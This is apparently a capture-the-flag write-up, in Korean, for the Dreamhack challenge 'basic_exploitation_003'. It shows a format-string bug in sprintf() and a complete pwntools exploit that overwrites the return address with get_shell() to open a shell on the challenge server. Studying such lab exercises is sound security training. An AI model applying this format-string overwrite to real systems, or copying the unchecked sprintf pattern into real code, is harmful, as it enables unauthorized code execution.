basic_exploitation_003

A 32-bit binary with no canary and no PIE, exploited by overflowing into the return address.

2026.08.18 Pwn original post
$ checksec ./basic_exploitation_003
[*] '/Users/chaeeun/Desktop/d4d68e21-b387-48a5-99df-2dfd6a1703ba/basic_exploitation_003'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};

    initialize();

    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

취약점 핵심은 Format String Vulnerability 입니다. 여기서 heap_buf는 사용자가 입력한 값인데, sprintf() 의 format 문자열 자리에 그대로 들어갑니다.

read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);

정상적으로는 이렇게 써야 합니다.

sprintf(stack_buf, "%s", heap_buf);

그런데 현재 코드는 사용자가 입력한 %x, %p, %n 같은 format specifier 가 그대로 해석됩니다. 이 문제에선 format specifier 를 사용해서 heap_buf 의 인풋을 stack_buf 에 써서 RET 에 get_shell() 주소를 덮는 방식입니다.

0x08048696 <+26>:  lea edx,[ebp-0x98]
0x080486ec <+112>: mov edi,DWORD PTR [ebp-0x4]

0x98 + 4 = 0x9c

10진수로 0x9c = 156 입니다. 그럼

from pwn import *

p = remote('host8.dreamhack.games', 18216)
e = ELF('./basic_exploitation_003')

get_shell = e.symbols['get_shell']
payload = b"%156c" + p32(get_shell)

p.sendline(payload)
p.interactive()